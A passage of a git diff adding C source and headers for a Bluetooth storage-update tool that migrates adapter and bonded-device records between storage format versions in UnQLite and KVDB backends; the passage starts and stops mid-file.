bt_storage_update_v5_0_2_to_v5_0_3, +#endif + /* Reserve for future version */ +}; + +/**************************************************************************** + * Unqlite storage save function + ****************************************************************************/ +static int bt_storage_save_storage_sync_unqlite(const char* key, void* data, int length) +{ + uv_buf_t buf; + int ret; + + buf = uv_buf_init((char*)data, length); + ret = uv_db_set(storage_handle, key, &buf, NULL, NULL); + if (ret != 0) { + syslog(LOG_ERR, "key %s set error:%d", key, ret); + return ret; + } + + syslog(LOG_DEBUG, "key %s set success:%d", key, ret); + uv_db_commit(storage_handle); + return ret; +} + +int bt_storage_save_item_unqlite(void* data, int items, int version, int storage_item) +{ + key_header_t* header; + int total_len, ret; + + total_len = items * bt_storage_update_item_size[version][storage_item]; + header = zalloc(sizeof(key_header_t) + total_len); + if (!header) { + syslog(LOG_ERR, "%s key malloc failed\n", __func__); + return -1; + } + + header->items = items; + header->key_length = total_len; + if (data && items) + memcpy(header->key_value, data, total_len); + + ret = bt_storage_save_storage_sync_unqlite(unqlite_item_key[storage_item], header, sizeof(key_header_t) + total_len); + free(header); + + return ret; +} + +/**************************************************************************** + * Unqlite storage load function + ****************************************************************************/ +static int bt_storage_load_storage_sync_unqlite(const char* key, void** data, uint16_t* length) +{ + uv_buf_t buf; + int ret; + + if (!data || !length) { + syslog(LOG_ERR, "%s invalid data or length\n", __func__); + return -1; + } + + buf = uv_buf_init(NULL, 0); + ret = uv_db_get(storage_handle, key, &buf, NULL, NULL); + if (ret == 0) { + *data = buf.base; + *length = buf.len; + } + + return ret; +} + +int bt_storage_load_adapter_info_unqlite(void** data, uint16_t* length) +{ + return bt_storage_load_storage_sync_unqlite(BT_KEY_ADAPTER_INFO, data, length); +} + +int bt_storage_load_bonded_device_unqlite(void** data, uint16_t* length) +{ + return bt_storage_load_storage_sync_unqlite(BT_KEY_BTBOND, data, length); +} + +int bt_storage_load_le_bonded_device_unqlite(void** data, uint16_t* length) +{ + return bt_storage_load_storage_sync_unqlite(BT_KEY_BLEBOND, data, length); +} + +int bt_storage_load_whitelist_device_unqlite(void** data, uint16_t* length) +{ + return bt_storage_load_storage_sync_unqlite(BT_KEY_BLEWHITELIST, data, length); +} + +/**************************************************************************** + * KVDB storage save function + ****************************************************************************/ +static int bt_storage_save_storage_kvdb(const char* key, void* data, int item_len, int num) +{ + char *prop_name, *tmp_data; + bt_address_t addr; + int i, ret; + size_t prop_vlen; + + if (!key || !data) + return 0; + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + syslog(LOG_ERR, "property_name malloc failed!"); + return -ENOMEM; + } + + tmp_data = (char*)data; + prop_vlen = item_len - BT_ADDR_LENGTH; + for (i = 0; i < num; i++) { + memcpy(addr.addr, tmp_data, BT_ADDR_LENGTH); + GEN_PROP_KEY(prop_name, key, &addr, PROP_NAME_MAX); + /** + * Note: It should be ensured that "addr" is the first member of the struct remote_device_le_properties_t + * and "addr_type" is the second member. + * */ + ret = property_set_binary(prop_name, tmp_data + BT_ADDR_LENGTH, prop_vlen, false); + if (ret < 0) { + syslog(LOG_ERR, "key %s set error!", prop_name); + free(prop_name); + return ret; + } + + tmp_data += item_len; + } + + property_commit(); + free(prop_name); + return ret; +} + +int bt_storage_save_item_kvdb(void* data, int items, int version, int storage_item) +{ + int ret, load_num = 0; + char* prop_name; + + if (storage_item == BT_STORAGE_UPDATE_ADAPTER_INFO) { + syslog(LOG_INFO, "adapter_info not use this function"); + return -1; + } + + ret = property_list(callback_cnt_list[storage_item].cb, &load_num); + syslog(LOG_DEBUG, "bt_storage_save_item_kvdb [%s] load_num = %d", callback_cnt_list[storage_item].key, load_num); + if (ret < 0) { + syslog(LOG_ERR, "property_list [%d] failed!, ret = %d", storage_item, ret); + return ret; + } + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + syslog(LOG_ERR, "property_name malloc failed!"); + return -ENOMEM; + } + + bt_storage_delete(callback_cnt_list[storage_item].key, load_num, prop_name); + free(prop_name); + + ret = bt_storage_save_storage_kvdb(callback_cnt_list[storage_item].key, data, bt_storage_update_item_size[version][storage_item], items); + if (ret < 0) { + syslog(LOG_ERR, "bt_storage_save_storage_kvdb [%d] failed!", storage_item); + return ret; + } + + syslog(LOG_DEBUG, "bt_storage_save_item_kvdb [%s] success!", callback_cnt_list[storage_item].key); + return ret; +} + +/**************************************************************************** + * KVDB storage load function + ****************************************************************************/ +static void callback_adapter_count(const char* name, const char* value, void* count_u16) +{ + if (!strncmp(name, BT_KVDB_ADAPTERINFO, strlen(BT_KVDB_ADAPTERINFO))) { + (*(uint16_t*)count_u16)++; + } +} + +static void callback_bt_count(const char* name, const char* value, void* count_u16) +{ + if (!strncmp(name, BT_KVDB_BTBOND, strlen(BT_KVDB_BTBOND))) { + (*(uint16_t*)count_u16)++; + } +} + +static void callback_le_count(const char* name, const char* value, void* count_u16) +{ + if (!strncmp(name, BT_KVDB_BLEBOND, strlen(BT_KVDB_BLEBOND))) { + (*(uint16_t*)count_u16)++; + } +} + +static void callback_whitelist_count(const char* name, const char* value, void* count_u16) +{ + if (!strncmp(name, BT_KVDB_BLEWHITELIST, strlen(BT_KVDB_BLEWHITELIST))) { + (*(uint16_t*)count_u16)++; + } +} + +static void callback_load_addr(const char* name, const char* value, void* cookie) +{ + bt_property_value_t* prop_value = (bt_property_value_t*)cookie; + char addr_str[BT_ADDR_STR_LENGTH]; + bt_address_t* addr; + + if (strncmp(name, prop_value->key, strlen(prop_value->key))) + return; + + assert(prop_value->offset < prop_value->items); + addr = (bt_address_t*)prop_value->value + prop_value->offset * prop_value->value_length; + PARSE_PROP_KEY(addr_str, name, strlen((char*)prop_value->key), BT_ADDR_STR_LENGTH, addr); + prop_value->offset++; +} + +static int bt_storage_load_storage_kvdb(const char* key, bt_storage_update_value_t* prop_value, int item_len) +{ + bt_property_value_t* value; + int i, prop_size; + char* prop_name; + bt_address_t* addr; + char* storage_value; + + if (!prop_value) + return -1; + + value = (bt_property_value_t*)zalloc(sizeof(bt_property_value_t)); + if (!value) { + syslog(LOG_ERR, "%s value malloc failed\n", __func__); + return -1; + } + + value->items = prop_value->items; + value->offset = 0; + value->key = key; + value->value_length = item_len; + value->value = prop_value->value; + + property_list(callback_load_addr, value); // get addr to generate property name + free(value); + + prop_name = (char*)malloc(PROP_NAME_MAX); + if (!prop_name) { + syslog(LOG_ERR, "property_name malloc failed!"); + return -ENOMEM; + } + + for (i = 0; i < prop_value->items; i++) { + addr = (bt_address_t*)((char*)prop_value->value + i * item_len); // first 6 Bytes is address. + storage_value = (char*)addr + sizeof(bt_address_t); + GEN_PROP_KEY(prop_name, key, addr, PROP_NAME_MAX); + /** + * Note: It should be ensured that "addr" is the first member of the struct remote_device_properties_t + * and "addr_type" is the second member. + * */ + prop_size = property_get_binary(prop_name, storage_value, PROP_VALUE_MAX); + if (prop_size < 0) { + syslog(LOG_ERR, "property_get_binary failed!"); + free(prop_name); + return -1; + } + } + + free(prop_name); + return 0; +} + +bt_storage_update_properties_t* bt_storage_load_info_kvdb(int version) +{ + bt_storage_update_properties_t* properties; + int ret, i, item_len; + bt_storage_update_items_t prop_items = { 0 }; + + prop_items.items[BT_STORAGE_UPDATE_ADAPTER_INFO] = 1; + for (i = BT_STORAGE_UPDATE_BTBOND_INFO; i < BT_STORAGE_UPDATE_ITEM_MAX; i++) { + if (!callback_cnt_list[i].cb) + continue; + + ret = property_list(callback_cnt_list[i].cb, &prop_items.items[i]); + if (ret < 0) { + syslog(LOG_ERR, "property_list [%d] failed, ret = %d", i, ret); + return NULL; + } + } + + properties = bt_storage_update_properties_malloc(version, &prop_items); + if (!properties) { + return NULL; + } + + for (i = BT_STORAGE_UPDATE_BTBOND_INFO; i < BT_STORAGE_UPDATE_ITEM_MAX; i++) { + if (prop_items.items[i] > 0) { + item_len = bt_storage_update_item_size[version][i]; + ret = bt_storage_load_storage_kvdb(callback_cnt_list[i].key, &properties->storage_info[i], item_len); + if (ret < 0) + goto error; + } + } + + return properties; + +error: + bt_storage_update_properties_free(properties); + return NULL; +} + +/**************************************************************************** + * storage properties memory malloc/free + ****************************************************************************/ +void bt_storage_update_properties_free(bt_storage_update_properties_t* properties) +{ + for (int i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; i++) { + if (properties->storage_info[i].value) + free(properties->storage_info[i].value); + } + + free(properties); +} + +bt_storage_update_properties_t* bt_storage_update_properties_malloc(int version, bt_storage_update_items_t* prop_items) +{ + assert(version <= BT_STORAGE_VERISON_CURRENT); + + bt_storage_update_properties_t* properties = NULL; + int items, value_len; + + properties = zalloc(sizeof(bt_storage_update_properties_t)); + if (!properties) { + syslog(LOG_ERR, "%s properties malloc failed\n", __func__); + return NULL; + } + + for (int i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; ++i) { + items = prop_items->items[i]; + if (items == 0) + continue; + + value_len = items * bt_storage_update_item_size[version][i]; + properties->storage_info[i].items = items; + properties->storage_info[i].value_length = value_len; + properties->storage_info[i].value = zalloc(value_len); + if (!properties->storage_info[i].value) { + syslog(LOG_ERR, "%s properties[%d] malloc failed\n", __func__, i); + goto error; + } + } + + return properties; + +error: + for (int i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; i++) { + if (properties->storage_info[i].value) + free(properties->storage_info[i].value); + } + + free(properties); + + return NULL; +} + +/**************************************************************************** + * storage update main function + ****************************************************************************/ +#if defined(BLUETOOTH_STORAGE_VERSION_4) || defined(BLUETOOTH_STORAGE_VERSION_5) +static int bt_storage_update_get_version_by_db(void) +{ + key_header_t* tmp_value = NULL; + uint16_t tmp_value_length; + int cur_version; + int ret; + + /* load bonded device info */ + ret = bt_storage_load_bonded_device_unqlite((void**)&tmp_value, &tmp_value_length); + if (ret) { + syslog(LOG_INFO, "%s bt bonded load fail:, ret = %d\n", __func__, ret); + /* may not bond infomation, judge adapter info */ + goto load_adapter; + } + + if (tmp_value->key_length == (sizeof(remote_device_properties_v4_0_0_t) * tmp_value->items)) { + cur_version = BT_STORAGE_VERSION_4_0_0; + } else if (tmp_value->key_length == (sizeof(remote_device_properties_v5_0_0_t) * tmp_value->items)) { + cur_version = BT_STORAGE_VERSION_5_0_0; + } else if (tmp_value->key_length == (sizeof(remote_device_properties_v5_0_1_t) * tmp_value->items)) { + cur_version = BT_STORAGE_VERSION_5_0_1; + } else { + syslog(LOG_ERR, "%s unknown version\n", __func__); + cur_version = -1; + } + + free(tmp_value); + return cur_version; + +load_adapter: + ret = bt_storage_load_adapter_info_unqlite((void**)&tmp_value, &tmp_value_length); + if (ret) { + syslog(LOG_INFO, "%s adapter load fail, ret = %d\n", __func__, ret); + return -1; + } + + if (tmp_value->key_length == (sizeof(adapter_storage_v4_0_0_t) * tmp_value->items)) { + cur_version = BT_STORAGE_VERSION_4_0_0; + } else if (tmp_value->key_length == (sizeof(adapter_storage_v5_0_1_t) * tmp_value->items)) { + /* version 5_0_0 equal version 5_0_1, goto the latest version*/ + cur_version = BT_STORAGE_VERSION_5_0_1; + } else { + syslog(LOG_ERR, "%s unknown version\n", __func__); + cur_version = -1; + } + + free(tmp_value); + return cur_version; +} +#endif + +int bt_storage_update_get_item_len(int version, int storage_item) +{ + return bt_storage_update_item_size[version][storage_item]; +} + +int bt_storage_get_version(void) +{ + int ret; + char version_str[BT_STORAGE_VERSION_STR_LEN + 1] = { 0 }; + + ret = property_get_binary(BT_KVDB_VERSION_KEY, version_str, sizeof(version_str)); + if (!ret && access(BT_STORAGE_FILE_PATH, F_OK)) { /* file not exist */ + syslog(LOG_INFO, "storage file not exist\n"); + return -1; + } +#if defined(BLUETOOTH_STORAGE_VERSION_4) || defined(BLUETOOTH_STORAGE_VERSION_5) + else if (!access(BT_STORAGE_FILE_PATH, F_OK)) { /* Unqlite storage file exist */ + return bt_storage_update_get_version_by_db(); + } +#endif + +#ifdef BLUETOOTH_STORAGE_VERSION_5 + if (!strncasecmp(version_str, "v5_0_2", strlen(version_str))) { + return BT_STORAGE_VERSION_5_0_2; + } else if (!strncasecmp(version_str, "v5_0_3", strlen(version_str))) { + return BT_STORAGE_VERSION_5_0_3; + } +#endif + + return -1; +} + +static bool bt_storage_update_kvdb_check(void) +{ + int ret, i; + uint16_t cnt = 0; + + for (i = BT_STORAGE_UPDATE_ADAPTER_INFO; i < BT_STORAGE_UPDATE_ITEM_MAX; i++) { + ret = property_list(callback_cnt_list[i].cb, &cnt); + if (ret < 0) { + syslog(LOG_ERR, "property_list %s error!", callback_cnt_list[i].key); + return false; + } + } + + return cnt == 0; +} + +int bt_storage_remove(void) +{ + int ret = 0; + + syslog(LOG_INFO, __func__); + /* delete bt storage properties */ + if (!bt_storage_update_kvdb_check()) + ret = bt_storage_properties_destory(); +#if defined(BLUETOOTH_STORAGE_VERSION_4) || defined(BLUETOOTH_STORAGE_VERSION_5) + /* delete db file */ + if (!access(BT_STORAGE_FILE_PATH, F_OK)) + ret = unlink(BT_STORAGE_FILE_PATH); +#endif + + if (ret < 0) { + syslog(LOG_ERR, "remove storage file failed\n"); + return ret; + } + + return ret; +} + +static bt_storage_update_properties_t* bt_storage_update_handler(void* storage_info, int storage_version, int cur_version) +{ + bt_storage_update_properties_t *old_storage, *new_storage = NULL; + bt_storage_update_func_t func; + + old_storage = (bt_storage_update_properties_t*)storage_info; + + for (int i = storage_version; i < cur_version; i++) { + func = verison_map[i]; + if (!func) + continue; + + new_storage = func(old_storage); + bt_storage_update_properties_free(old_storage); + if (!new_storage) + return NULL; + + old_storage = new_storage; + } + + return new_storage; +} + +static bt_storage_update_properties_t* bt_storage_update_load_info(int storage_version) +{ + bt_storage_update_properties_t* storage_info = NULL; + + switch (storage_version) { +#ifdef BLUETOOTH_STORAGE_VERSION_4 + case BT_STORAGE_VERSION_4_0_0: + storage_info = bt_storage_load_info_v4_0_0(); + break; +#endif +#ifdef BLUETOOTH_STORAGE_VERSION_5 + case BT_STORAGE_VERSION_5_0_0: + storage_info = bt_storage_load_info_v5_0_0(); + break; + case BT_STORAGE_VERSION_5_0_1: + storage_info = bt_storage_load_info_v5_0_1(); + break; + case BT_STORAGE_VERSION_5_0_2: + storage_info = bt_storage_load_info_v5_0_2(); + break; + case BT_STORAGE_VERSION_5_0_3: + storage_info = bt_storage_load_info_v5_0_3(); + break; +#endif + default: + syslog(LOG_ERR, "Unknown storage version."); + break; + } + + if (!storage_info) { + syslog(LOG_ERR, "Load storage info failed."); + return NULL; + } + + return storage_info; +} + +static int bt_storage_update_save_info(bt_storage_update_properties_t* storage_info) +{ + bt_storage_save_adapter_info( + (adapter_storage_t*)storage_info->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + bt_storage_save_bonded_device( + (remote_device_properties_t*)storage_info->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].value, + storage_info->storage_info[BT_STORAGE_UPDATE_BTBOND_INFO].items); + bt_storage_save_whitelist( + (remote_device_le_properties_t*)storage_info->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].value, + storage_info->storage_info[BT_STORAGE_UPDATE_WHITELIST_INFO].items); + bt_storage_save_le_bonded_device( + (remote_device_le_properties_t*)storage_info->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].value, + storage_info->storage_info[BT_STORAGE_UPDATE_BLEBOND_INFO].items); + + return 0; +} + +static int bt_storage_update_process(int storage_version) +{ + bt_storage_update_properties_t *storage_info, *updated_info = NULL; + + if (storage_version > BT_STORAGE_VERISON_CURRENT) { + syslog(LOG_ERR, "Storage version fallback is not supported."); + goto error; + } + + /* Step 2-1: load current storage info. */ + storage_info = bt_storage_update_load_info(storage_version); + if (!storage_info) { + goto error; + } + + /* Step 2-2: update storage info (Step-by-step upgrade). */ + updated_info = bt_storage_update_handler(storage_info, storage_version, BT_STORAGE_VERISON_CURRENT); + if (!updated_info) { + syslog(LOG_ERR, "Storage update failed."); + goto error; + } + + /* Step 2-3: save storage info. */ + bt_storage_update_save_info(updated_info); + uv_run(get_service_uv_loop(), UV_RUN_DEFAULT); // for properties_commit + bt_storage_update_properties_free(updated_info); + return 0; + +error: + bt_storage_remove(); + return -1; +} + +int bt_storage_unqlite_init(void) +{ + int ret; + + ret = uv_db_init(get_service_uv_loop(), &storage_handle, BT_STORAGE_FILE_PATH); + if (ret != 0) + syslog(LOG_ERR, "%s fail, ret:%d", __func__, ret); + + syslog(LOG_DEBUG, "%s successed", __func__); + + return ret; +} + +int bt_storage_unqlite_cleanup(void) +{ + syslog(LOG_DEBUG, "%s, handle: %p", __func__, storage_handle); + if (storage_handle) + uv_db_close(storage_handle); + + storage_handle = NULL; + return 0; +} + +static int bt_storage_update_init(void) +{ + int ret = 0; + + syslog(LOG_INFO, __func__); + +#if defined(BLUETOOTH_STORAGE_VERSION_4) || defined(BLUETOOTH_STORAGE_VERSION_5) + ret = bt_storage_unqlite_init(); +#endif + + return ret; +} + +static void bt_storage_update_cleanup(void) +{ + syslog(LOG_INFO, __func__); + +#if defined(BLUETOOTH_STORAGE_VERSION_4) || defined(BLUETOOTH_STORAGE_VERSION_5) + bt_storage_unqlite_cleanup(); + if (!access(BT_STORAGE_FILE_PATH, F_OK)) { + unlink(BT_STORAGE_FILE_PATH); + } + + syslog(LOG_INFO, "uv_loop_close\n"); + uv_loop_close(get_service_uv_loop()); + syslog(LOG_INFO, "uv_library_shutdown\n"); + uv_library_shutdown(); +#endif +} + +int main(void) +{ + int storage_version, ret; + + ret = bt_storage_update_init(); + if (ret < 0) + return -1; + + /* Step 1: Get storage version. Parsing version based on different storage formats*/ + storage_version = bt_storage_get_version(); + if (storage_version < 0) { + syslog(LOG_INFO, "need not update storage\n"); + /* if version missed but other properties are present, it is considered that same key-values is lost. */ + if (!bt_storage_update_kvdb_check()) { + syslog(LOG_ERR, "KVDB omission\n"); + bt_storage_remove(); + } + goto exit; + } + + if (storage_version == BT_STORAGE_VERISON_CURRENT) { + syslog(LOG_INFO, "Storage version matches current version\n"); + goto exit; + } + + /* Step 2: Execute the storage upgrade process. */ + ret = bt_storage_update_process(storage_version); + if (ret < 0) { + syslog(LOG_ERR, "Storage update failed\n"); + goto exit; + } + + /* Step 3: Add storage version info. */ + ret = property_set_binary(BT_KVDB_VERSION_KEY, BT_STORAGE_CURRENT_VERSION, strlen(BT_STORAGE_CURRENT_VERSION) + 1, false); + if (ret < 0) { + syslog(LOG_ERR, "key %s set error! ret = %d", BT_STORAGE_CURRENT_VERSION, ret); + goto exit; + } + + syslog(LOG_INFO, "Storage update successed\n"); + +exit: + bt_storage_update_cleanup(); + + return 0; +} diff --git a/tools/storage_update/storage_update.h b/tools/storage_update/storage_update.h new file mode 100644 index 0000000000000000000000000000000000000000..f5a1497fae0fd9dc94443dbff03bcc8209cb7d6c --- /dev/null +++ b/tools/storage_update/storage_update.h @@ -0,0 +1,97 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __STORAGE_UPDATE_H__ +#define __STORAGE_UPDATE_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "uv_ext.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define BLUETOOTH_STORAGE_VERSION_4 1 +#define BLUETOOTH_STORAGE_VERSION_5 1 +#define BT_STORAGE_UNQLITE_ITEM 4 + +/**************************************************************************** + * Public Types + ****************************************************************************/ +enum { + BT_STORAGE_UPDATE_ADAPTER_INFO = 0, + BT_STORAGE_UPDATE_BTBOND_INFO, + BT_STORAGE_UPDATE_BLEBOND_INFO, + BT_STORAGE_UPDATE_WHITELIST_INFO, + BT_STORAGE_UPDATE_ITEM_MAX, +}; + +typedef struct { + uint16_t items; + uint16_t value_length; + void* value; +} bt_storage_update_value_t; + +typedef struct { + int items[BT_STORAGE_UPDATE_ITEM_MAX]; +} bt_storage_update_items_t; + +typedef struct { + bt_storage_update_value_t storage_info[BT_STORAGE_UPDATE_ITEM_MAX]; +} bt_storage_update_properties_t; + +enum { + BT_STORAGE_VERSION_4_0_0 = 0, // name_str:64 Bytes + BT_STORAGE_VERSION_5_0_0, // name_str:65 Bytes + BT_STORAGE_VERSION_5_0_1, // add 80 Bytes UUIDs + BT_STORAGE_VERSION_5_0_2, // version for dev-bluetooth/dev/openvela + BT_STORAGE_VERSION_5_0_3, // version for zblue + BT_STORAGE_VERSION_MAX, +}; + +#define BT_STORAGE_VERISON_CURRENT BT_STORAGE_VERSION_5_0_3 /* need to change per version */ + +typedef bt_storage_update_properties_t* (*bt_storage_update_func_t)(bt_storage_update_properties_t* old_storage); + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +bt_storage_update_properties_t* bt_storage_update_properties_malloc(int version, bt_storage_update_items_t* prop_items); +void bt_storage_update_properties_free(bt_storage_update_properties_t* props); +int bt_storage_get_version(void); +int bt_storage_update_get_item_len(int version, int storage_item); +int bt_storage_remove(void); + +/* Unqlite */ +int bt_storage_unqlite_init(void); +int bt_storage_unqlite_cleanup(void); + +int bt_storage_save_item_unqlite(void* data, int items, int version, int storage_item); + +int bt_storage_load_whitelist_device_unqlite(void** data, uint16_t* length); +int bt_storage_load_bonded_device_unqlite(void** data, uint16_t* length); +int bt_storage_load_adapter_info_unqlite(void** data, uint16_t* length); +int bt_storage_load_le_bonded_device_unqlite(void** data, uint16_t* length); + +/* KVDB */ +bt_storage_update_properties_t* bt_storage_load_info_kvdb(int version); + +int bt_storage_save_item_kvdb(void* data, int items, int version, int storage_item); + +#endif /* __STORAGE_UPDATE_H__ */ \ No newline at end of file diff --git a/tools/storage_update/storage_version_4.c b/tools/storage_update/storage_version_4.c new file mode 100644 index 0000000000000000000000000000000000000000..b4135a4fee083d20ec322aa60eff120fa0c92904 --- /dev/null +++ b/tools/storage_update/storage_version_4.c @@ -0,0 +1,97 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <inttypes.h> +#include <kvdb.h> + +#include "bluetooth_define.h" +#include "storage.h" +#include "bt_utils.h" +#include "storage_update.h" +#include "storage_version_4.h" +#include "uv_ext.h" + +#include "syslog.h" + +typedef int (*load_storage_info_unqlite_t)(void** data, uint16_t* length); + +const static load_storage_info_unqlite_t storage_items_map[] = { + bt_storage_load_adapter_info_unqlite, + bt_storage_load_bonded_device_unqlite, + bt_storage_load_le_bonded_device_unqlite, + bt_storage_load_whitelist_device_unqlite +}; + +bt_storage_update_properties_t* bt_storage_load_info_unqlite(void) +{ + bt_storage_update_properties_t* properties; + key_header_t* unqlite_value = NULL; + uint16_t value_length; + int i; + + properties = zalloc(sizeof(bt_storage_update_properties_t)); + if (!properties) { + syslog(LOG_ERR, "%s properties malloc failed\n", __func__); + return NULL; + } + + /* load storage info */ + for (i = 0; i < ARRAY_SIZE(storage_items_map); ++i) { + if (storage_items_map[i]((void**)&unqlite_value, &value_length)) { + syslog(LOG_DEBUG, "%s load storage info[%d] failed\n", __func__, i); + if (i == BT_STORAGE_UPDATE_ADAPTER_INFO) { + syslog(LOG_ERR, "%s load adapter info failed\n", __func__); + goto error; + } + continue; + } + + if (value_length != sizeof(key_header_t) + unqlite_value->key_length) { + syslog(LOG_ERR, "%s load info[%d], length mismatch([%d] != [%d])\n", __func__, i, + value_length, sizeof(key_header_t) + unqlite_value->key_length); + free(unqlite_value); + goto error; + } + + properties->storage_info[i].value = zalloc(unqlite_value->key_length); + if (!properties->storage_info[i].value) { + syslog(LOG_ERR, "%s storage info[%d] malloc failed\n", __func__, i); + free(unqlite_value); + goto error; + } + + memcpy(properties->storage_info[i].value, unqlite_value->key_value, unqlite_value->key_length); + properties->storage_info[i].items = unqlite_value->items; + properties->storage_info[i].value_length = unqlite_value->key_length; + free(unqlite_value); + } + + return properties; + +error: + for (i = 0; i < BT_STORAGE_UPDATE_ITEM_MAX; i++) { + if (properties->storage_info[i].value) + free(properties->storage_info[i].value); + } + + free(properties); + + return NULL; +} + +bt_storage_update_properties_t* bt_storage_load_info_v4_0_0(void) +{ + return bt_storage_load_info_unqlite(); +} diff --git a/tools/storage_update/storage_version_4.h b/tools/storage_update/storage_version_4.h new file mode 100644 index 0000000000000000000000000000000000000000..28058505d0943f39fe17e7ad58b01694192dab53 --- /dev/null +++ b/tools/storage_update/storage_version_4.h @@ -0,0 +1,78 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __STORAGE_VERSION_4_H__ +#define __STORAGE_VERSION_4_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bluetooth_define.h" +#include "storage_update.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +/* rel-4.0.0 storage structure */ +#define BT_NAME_MAX_LEN_4_0_0 63 + +/**************************************************************************** + * Public Types + ****************************************************************************/ +typedef struct { + uint16_t items; + uint16_t key_length; + uint8_t key_value[0]; +} key_header_t; // TODO: remove + +typedef struct { + bt_address_t addr; + ble_addr_type_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_remote_device for reasons. + char name[BT_NAME_MAX_LEN_4_0_0 + 1]; + char alias[BT_NAME_MAX_LEN_4_0_0 + 1]; + uint32_t class_of_device; + uint8_t link_key[16]; + bt_link_key_type_t link_key_type; + bt_device_type_t device_type; +} remote_device_properties_v4_0_0_t; + +typedef struct { + bt_address_t addr; + ble_addr_type_t addr_type; + // only can add member after "addr_type" if needed, see function bt_storage_save_le_remote_device for reasons. + uint8_t smp_key[80]; + bt_device_type_t device_type; +} remote_device_le_properties_v4_0_0_t; + +typedef struct { + char name[BT_NAME_MAX_LEN_4_0_0 + 1]; + uint32_t class_of_device; + uint32_t io_capability; + uint32_t scan_mode; + uint32_t bondable; +} adapter_storage_v4_0_0_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +/* Get diefferent version storage Info */ +bt_storage_update_properties_t* bt_storage_load_info_unqlite(void); +bt_storage_update_properties_t* bt_storage_load_info_v4_0_0(void); + +#endif /* __STORAGE_VERSION_4_H__ */ \ No newline at end of file diff --git a/tools/storage_update/storage_version_5.c b/tools/storage_update/storage_version_5.c new file mode 100644 index 0000000000000000000000000000000000000000..f7125a763719640b82974b56dc3488e0cea6b2b8 --- /dev/null +++ b/tools/storage_update/storage_version_5.c @@ -0,0 +1,358 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <inttypes.h> +#include <kvdb.h> + +#include "bluetooth_define.h" +#include "storage.h" +#include "storage_update.h" +#include "storage_version_4.h" +#include "storage_version_5.h" +#include "uv_ext.h" + +#include "syslog.h" + +bt_storage_update_properties_t* bt_storage_load_info_v5_0_0(void) +{ + return bt_storage_load_info_unqlite(); +} + +bt_storage_update_properties_t* bt_storage_load_info_v5_0_1(void) +{ + return bt_storage_load_info_unqlite(); +} + +bt_storage_update_properties_t* bt_storage_load_info_v5_0_2(void) +{ + bt_storage_update_properties_t* properties; + adapter_storage_v5_0_2_t* adapter_info; + int ret; + + /* load device information */ + properties = bt_storage_load_info_kvdb(BT_STORAGE_VERSION_5_0_2); + if (!properties) { + return NULL; + } + + /* load adapter information */ + adapter_info = (adapter_storage_v5_0_2_t*)(properties->storage_info[BT_STORAGE_UPDATE_ADAPTER_INFO].value); + ret = property_get_binary(BT_KVDB_ADAPTERINFO_NAME, adapter_info->name, sizeof(adapter_info->name)); + adapter_info->class_of_device = property_get_int32(BT_KVDB_ADAPTERINFO_COD, ERROR_ADAPTERINFO_VALUE); + adapter_info->io_capability = property_get_int32(BT_KVDB_ADAPTERINFO_IOCAP, ERROR_ADAPTERINFO_VALUE); + adapter_info->scan_mode = property_get_int32(BT_KVDB_ADAPTERINFO_SCAN, ERROR_ADAPTERINFO_VALUE); + adapter_info->bondable = property_get_int32(BT_KVDB_ADAPTERINFO_BOND, ERROR_ADAPTERINFO_VALUE); + if (ret < 0 || adapter_info->class_of_device == ERROR_ADAPTERINFO_VALUE + || adapter_info->io_capability == ERROR_ADAPTERINFO_VALUE + || adapter_info->scan_mode == ERROR_ADAPTERINFO_VALUE + || adapter_info->bondable == ERROR_ADAPTERINFO_VALUE) { + 